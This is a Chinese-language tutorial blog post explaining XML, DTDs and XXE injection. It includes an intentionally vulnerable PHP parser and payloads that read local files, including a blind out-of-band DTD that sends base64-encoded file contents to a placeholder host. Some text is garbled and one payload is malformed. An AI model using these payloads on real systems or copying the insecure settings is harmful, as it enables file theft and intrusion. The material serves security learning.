欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

XXE漏洞

程序员文章站 2022-07-15 15:31:10
...


本文只是对XXE漏洞学习,参考多篇文章

一、XML基础

​ XML 用于编辑电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据,是一种允许用户的对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义、文档元素。

<?xml version="1.0" encoding="ISO-8859-1"?>    <!--xml声明 定义xml版本1.0和所使用的编码 ISO-8859-1-->
<note>    <!--根元素-->    <!--之后为4个子元素(to,from,heading,body)-->
<to>George</to>                
<form>John</form>        
<heading>Reminder</heading>
<body>11111</body>
</note>     <!--根元素结尾-->

因为只为学习漏洞,不对xml进行详细学习。

http://www.w3school.com.cn/x.asp可以在此查看详细内容

而XXE漏洞相关的则为DTD

DTD

​ DTD 文档类型定义,可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
​ DTD可以成行地声明XML文档中,也可以作为一个外部引用。
1. 内部声明DTD

假如DTD 被包含在XML源文件中,应当通过下面的语法包装在一个DOCTYPE声明中

<!DOCTYPE 根元素[元素声明]>
<?xml version="1.0"?>    <!--xml声明 定义xml版本1.0-->
<!DOCTYPE note[					<!--定义此文档为note类型的文档-->
 <!ELEMENT note (to,from,heading,body)> <!--定义note 元素有4个元素 “to、from、heading、body-->
 <!ELEMENT to    (#PCDATA)>     <!--定义to 元素为 “#PCDATA”类型 以下如此-->
 <!ELEMENT from  (#PCDATA)>
 <!ELEMENT heading (#PCDATA)>
 <!ELEMENT body (#PCDATA)>
]>
<note>
	<to>George</to>
	<from>John</from>
	<heading>Reminder</heading>
	<body>1111</body>
</note>

2. 引用外部
假如DTD 位于XML源文件外部,那么应该通过下面的语言被封装在一个DOCTYOE定义中

 <!DOCTYPE> 根元素 SYSTEM “文件名”>

与上 面内部声明 xml文件差不多,但是拥有一个外部的DTD

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note> 

包含DTD的 note.dtd 文件

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

3. 其中还有一种应用的格式为

<!DOCTYPE 根元素 SYSTEM "DTD文件"[定义内容]>

DTD -实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用是对(实体)的引用。(实体)可以在内部或者外部进行声明

1. 内部实体声明

<!ENTITY 实体名称 “实体的值”>

如:

<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
<author>&writer;&copyright;</author>

注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (????。

2. 一个外部实体声明

<!ENTITY 实体名称 SYSYTEM "URL">

如:

<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<author>&writer;&copyright;</author>

XML实体分为 普通实体和参数实体 。上面介绍的为普通实体 使用场合则为XML文档中

XXE漏洞

二、XML外部实体注入(XML External Entity XEE)

​ 当允许引用外部实体时候,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口等危害。

有回显读取本地敏感文件

普通实体引用外部实体

服务器 xml.php

<?php

    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;

?>

payload

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> 
<creds>&goodies;</creds>

XXE漏洞

参数实体引用外部实体

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY  % a SYSTEM "192.168.11.57:8888/outdtd.dtd"> %a;]> 
<creds>&xxe;</creds>
<!ENTITY xxe SYSTEM "file:///c:/windows/system.ini">

无回显读取本地的敏感文件

​ 可以看到在上面两个实验中,都是有显示,而另外一种情况无回显

服务端 xml.php

<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>

1.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">

Payload

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

利用

在上面当中一直使用的为 file 协议 。在真实情况中应该清楚为什么平台,能够使用什么协议。

XXE漏洞

三、总结

可以看出 XXE 漏洞,知识点涉及较多内容。如 其它利用 危害 Dos拒绝服务、内网主机探测 、内网主机端口扫描。 由于内容较多 之后在一一更新补充。

参考链接

https://security.tencent.com/index.php/blog/msg/69 未知攻焉知防——XXE漏洞攻防

https://xz.aliyun.com/t/3357#toc-0一篇文章带你深入理解漏洞之 XXE 漏洞